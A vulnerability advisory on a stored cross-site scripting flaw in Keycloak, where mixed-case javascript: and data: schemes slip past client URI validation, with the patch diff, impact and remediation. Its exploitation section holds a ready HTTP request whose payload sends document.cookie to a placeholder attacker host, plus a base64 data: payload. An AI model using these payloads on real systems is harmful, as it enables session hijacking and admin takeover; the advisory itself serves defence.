CVE-2026-9086: Stored Cross-Site Scripting via Case-Sensitive URI Scheme Validation Bypass in Keycloak

Keycloak is an open-source identity and access management solution that provides single sign-on (SSO) capabilities via OpenID Connect (OIDC), OAuth 2.0, and SAML 2.0 protocols. Within a Keycloak realm, relying parties and applications are represented as client entities. Each client configuration contains multiple Uniform Resource Identifier (URI) attributes—such as redirect URIs, post-logout redirect URIs, administration URLs, and logo URIs—that dictate where the authorization server directs user agents during authentication and session management workflows.

Because these configured URIs are frequently rendered into HTML anchor tags within the Keycloak Admin Console or used as navigation targets during user-facing authentication and logout flows, Keycloak enforces server-side input validation through the DefaultClientValidationProvider class. This validation mechanism is designed to prevent stored Cross-Site Scripting (CWE-79) by rejecting client configurations that specify dangerous pseudo-protocols, specifically the javascript: and data: schemes.

In versions prior to the patch for CVE-2026-9086, DefaultClientValidationProvider evaluated candidate URI schemes using case-sensitive string matching. While RFC 3986 specifies that URI schemes are case-insensitive and must be processed equivalently regardless of capitalization, Java's java.net.URI parser preserves the exact character casing provided in the input string. By supplying mixed-case schemes such as jaVaSCript: or DaTa:, an attacker can bypass the validation filter completely.

Exploitation requires the attacker to possess permissions to create or modify client configurations—either via the manage-client realm role or through Keycloak's Dynamic Client Registration endpoints. Once a malicious URI is stored in the realm database, any administrator or end-user who triggers navigation to that URI executes arbitrary JavaScript within the context of the Keycloak authorization server's origin.

The root cause of CVE-2026-9086 is an improper input validation check (CWE-20) leading to a filter bypass and stored Cross-Site Scripting (CWE-79) within services/src/main/java/org/keycloak/validation/DefaultClientValidationProvider.java. When a client entity is registered or updated via the Admin REST API or Dynamic Client Registration service, Keycloak invokes validateUrls(ValidationContext<ClientModel> context) to verify the structural validity and safety of the client's associated URLs.

Inside the helper methods checkUri() and checkUriLogo(), the candidate URL string is passed to the java.net.URI constructor: URI uri = new URI(urlToCheck);. When uri.getScheme() is called on the resulting object, the standard Java runtime returns the scheme substring with its original character casing intact. Unlike certain browser DOM APIs that automatically canonicalize the scheme to lowercase during parsing, java.net.URI performs no such normalization on the scheme property.

The validation logic subsequently checked for prohibited schemes by invoking uri.getScheme().equals("data") and uri.getScheme().equals("javascript"). Because java.lang.String.equals() conducts a strict, case-sensitive lexicographical comparison, any URI scheme containing one or more uppercase ASCII characters fails to match the blocklist strings. Consequently, the validation method sets no error on the ValidationContext, allowing the transaction to commit the unvalidated URI directly to persistent storage.

Furthermore, an audit of DefaultClientValidationProvider during the remediation process revealed an incomplete validation scope across the client model. While REDIRECT_URIS, BACKCHANNEL_LOGOUT_URL, LOGO_URI, POLICY_URI, and TOS_URI were passed through checkUri() or checkUriLogo(), several other OIDC and SAML client URL attributes were omitted from validation altogether. Specifically, POST_LOGOUT_REDIRECT_URIS, REQUEST_URIS, ADMIN_URL (for OIDC clients), JWKS_URL, and FRONTCHANNEL_LOGOUT_URL were not subjected to scheme validation, providing secondary vectors for storing dangerous URI schemes.

The vulnerability was addressed in commit 32cdceb80aeb43dc082bb032a87daa5105ea1fbd. The primary fix replaces the case-sensitive String.equals() calls in checkUri() and checkUriLogo() with String.equalsIgnoreCase(), ensuring that all casing permutations of javascript and data are rejected.

// File: services/src/main/java/org/keycloak/validation/DefaultClientValidationProvider.java
 
private void checkUri(FieldMessages field, String url, ValidationContext<ClientModel> context, boolean checkValidUrl, boolean checkFragment) {
    // ... [URI resolution and null checks omitted] ...
    try {
        URI uri = new URI(urlToCheck);
 
        boolean valid = true;
        // BEFORE PATCH:
        // if (uri.getScheme() != null && (uri.getScheme().equals("data") || uri.getScheme().equals("javascript"))) {
        
        // AFTER PATCH: Use equalsIgnoreCase to prevent mixed-case bypasses
        if (uri.getScheme() != null && (uri.getScheme().equalsIgnoreCase("data") || uri.getScheme().equalsIgnoreCase("javascript"))) {
            context.addError(field.getFieldId(), field.getScheme(), field.getSchemeKey());
            valid = false;
        }
        // ... [Fragment and URL validity checks omitted] ...
    }
}
 
private void checkUriLogo(FieldMessages field, String url, ValidationContext<ClientModel> context) {
    // ... [Null checks omitted] ...
    try {
        URI uri = new URI(url);
 
        // BEFORE PATCH:
        // if (uri.getScheme() != null && uri.getScheme().equals("javascript")) {
        
        // AFTER PATCH: Enforce case-insensitive scheme comparison on logo URIs
        if (uri.getScheme() != null && uri.getScheme().equalsIgnoreCase("javascript")) {
            context.addError(field.getFieldId(), field.getScheme(), field.getSchemeKey());
        }
    }
}

In addition to correcting the string comparison method, the patch expands validateUrls() to validate previously uninspected OIDC client attributes. The updated method extracts multivalued attributes for POST_LOGOUT_REDIRECT_URIS and REQUEST_URIS, as well as single-valued URLs for ADMIN_URL, JWKS_URL, and FRONTCHANNEL_LOGOUT_URL, routing each through ResolveRelative.resolveRelativeUri() and checkUri().

// File: services/src/main/java/org/keycloak/validation/DefaultClientValidationProvider.java
 
List<String> postLogoutRedirectUris = clientWrapper.getAttributeMultivalued(OIDCConfigAttributes.POST_LOGOUT_REDIRECT_URIS);
postLogoutRedirectUris.stream()
        // Exclude special Keycloak shorthand tokens (+, -, *) from URI parsing
        .filter(uri -> !"-".equals(uri) && !"+".equals(uri) && !"*".equals(uri))
        .map(u -> ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, u))
        .forEach(u -> checkUri(FieldMessages.POST_LOGOUT_REDIRECT_URIS, u, context, false, true));
 
List<String> requestUris = clientWrapper.getRequestUris();
requestUris.stream()
        .map(u -> ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, u))
        .forEach(u -> checkUri(FieldMessages.REQUEST_URIS, u, context, false, false));
 
if (OIDCLoginProtocol.LOGIN_PROTOCOL.equals(client.getProtocol())) {
    String adminUrl = ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, client.getManagementUrl());
    if (adminUrl != null && adminUrl.contains(CLIENT_SESSION_HOST_PROPERTY)) {
        // Replace ${application.session.host} placeholder with 'localhost' to allow URI parsing
        adminUrl = adminUrl.replace(CLIENT_SESSION_HOST_PROPERTY, "localhost");
    }
    checkUri(FieldMessages.ADMIN_URL, adminUrl, context, true, false);
}
String jwksUrl = ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, clientWrapper.getJwksUrl());
checkUri(FieldMessages.JWKS_URL, jwksUrl, context, true, false);
String frontchannelLogoutUrl = ResolveRelative.resolveRelativeUri(authServerUrl, authServerUrl, rootUrl, clientWrapper.getFrontChannelLogoutUrl());
checkUri(FieldMessages.FRONTCHANNEL_LOGOUT_URL, frontchannelLogoutUrl, context, true, false);

> [!NOTE] > Assessment of Fix Completeness: While equalsIgnoreCase() effectively neutralizes mixed-case variations of javascript: and data: across the newly expanded attribute set, the validation architecture remains dependent on a denylist approach rather than an explicit allowlist of safe schemes (such as http, https, or custom mobile app schemes). Furthermore, in checkUriLogo(), the check only blocks javascript: and does not block data: URIs, which is intentional to support inline base64 image rendering in <img> tags, provided logo URIs are never rendered inside navigable anchor (<a>) or frame (<iframe>) elements.

To exploit CVE-2026-9086, an attacker must possess privileges to register or modify a client within a target Keycloak realm. This prerequisite is satisfied if the attacker compromises a delegated administrator account with the manage-client role, or if the realm enables open or weakly authenticated Dynamic Client Registration via /realms/{realm}/clients-registrations/default or /realms/{realm}/clients-registrations/openid-connect.

The attack begins by sending an HTTP POST or PUT request containing a JSON ClientRepresentation payload to /admin/realms/{realm}/clients (or the corresponding registration endpoint). Within the redirectUris array or attributes map (such as post.logout.redirect.uris), the attacker injects a mixed-case payload. Because the server returns HTTP 201 Created or 204 No Content without raising a validation error, the payload persists in the Keycloak database.

POST /admin/realms/master/clients HTTP/1.1
Host: keycloak.example.com:8180
Authorization: Bearer <access_token_with_manage_client>
Content-Type: application/json
 
{
  "clientId": "malicious-oidc-client",
  "enabled": true,
  "publicClient": true,
  "protocol": "openid-connect",
  "redirectUris": [
    "jaVaSCript:fetch('https://attacker.example/exfil?t='+document.cookie)",
    "DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+"
  ]
}

Once the client is stored, execution is triggered when a victim interacts with the URI in a browser context rendered by Keycloak. For example, during an OIDC logout flow where the user is presented with a post-logout redirection link, or within the Keycloak Admin Console where a higher-privileged realm or master administrator inspects the client configuration and clicks a rendered link (such as the client's Base URL, Admin URL, or Redirect URI). When the link is activated, the browser normalizes the jaVaSCript: scheme and executes the inline script within the Keycloak security origin.

A public Proof-of-Concept (PoC) script released by the vulnerability reporter (saku0512) automates the verification of this bypass. The script authenticates against /realms/{realm}/protocol/openid-connect/token using admin-cli, submits a client containing jaVaSCript:alert(document.domain) or DaTa:text/html;base64,..., and inspects the HTTP response status. On vulnerable instances, the API returns HTTP 201, and a subsequent GET request to the newly created client's Location URL confirms the unescaped URI is stored verbatim.

CVE-2026-9086 is rated with a CVSS v3.1 base score of 7.3 (High) under the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N. The attack complexity is low (AC:L) and network-accessible (AV:N), requiring low privileges (PR:L) corresponding to client management rights and user interaction (UI:R) from a victim navigating to the stored URI.

The primary security impact is horizontal and vertical privilege escalation within the Keycloak administration plane. In multi-tenant or delegated administration deployments, a user restricted to managing clients (manage-client) or registering applications via Dynamic Client Registration does not possess full realm control (manage-realm or admin). However, when a realm administrator views the malicious client and triggers the stored XSS payload, the attacker's JavaScript executes under the administrator's authenticated session.

Because the script runs directly inside the Keycloak origin, it has full access to the DOM, localStorage, sessionStorage, and any non-HttpOnly cookies, as well as the ability to issue authenticated requests to the Keycloak Admin REST API using the victim's active bearer token. An attacker can leverage this access to create new master administrator accounts, extract private signing keys or client secrets, modify authentication flows, or alter identity provider mappings across the realm.

For end-users triggered via authentication or logout redirection flows, the impact includes session hijacking (MITRE ATT&CK T1185), credential harvesting via DOM manipulation on the login origin, and unauthorized OAuth token issuance. According to FIRST EPSS metrics, the vulnerability currently carries an EPSS score of 0.00781 (55.86th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Organizations running upstream Keycloak should upgrade to version 26.6.4 or later, which includes commit 32cdceb80aeb43dc082bb032a87daa5105ea1fbd. Customers utilizing the Red Hat build of Keycloak must apply the appropriate errata updates: versions on the 26.4 release stream must be upgraded to 26.4.13 (via advisories RHSA-2026:30049 and RHSA-2026:30050), and versions on the 26.6 release stream must be upgraded to 26.6.4 (via advisories RHSA-2026:30083 and RHSA-2026:30084).

Because patching only enforces validation when a client is created or updated, upgrading Keycloak does not automatically sanitize malicious URIs that were stored in the database prior to the update. Administrators must audit existing client configurations across all realms via the Admin REST API or direct database queries to identify any stored javascript: or data: schemes.

-- Example SQL audit query for Keycloak relational database backends
SELECT c.id, c.client_id, c.realm_id, r.value AS redirect_uri
FROM client c
JOIN redirect_uris r ON c.id = r.client_id
WHERE LOWER(r.value) LIKE 'javascript:%' OR LOWER(r.value) LIKE 'data:%'
UNION ALL
SELECT c.id, c.client_id, c.realm_id, ca.value AS attribute_uri
FROM client c
JOIN client_attributes ca ON c.id = ca.client_id
WHERE LOWER(ca.value) LIKE 'javascript:%' OR LOWER(ca.value) LIKE 'data:%';

If immediate patching is not feasible, administrators should implement access control workarounds to eliminate the attack vector. Restrict the assignment of the manage-client role strictly to fully trusted realm administrators. Additionally, review Realm Settings -> Client Registration -> Client Registration Policies to ensure that Anonymous Access Policies are disabled or restricted, and require authenticated Initial Access Tokens (IAT) generated only by trusted personnel for all Dynamic Client Registration requests.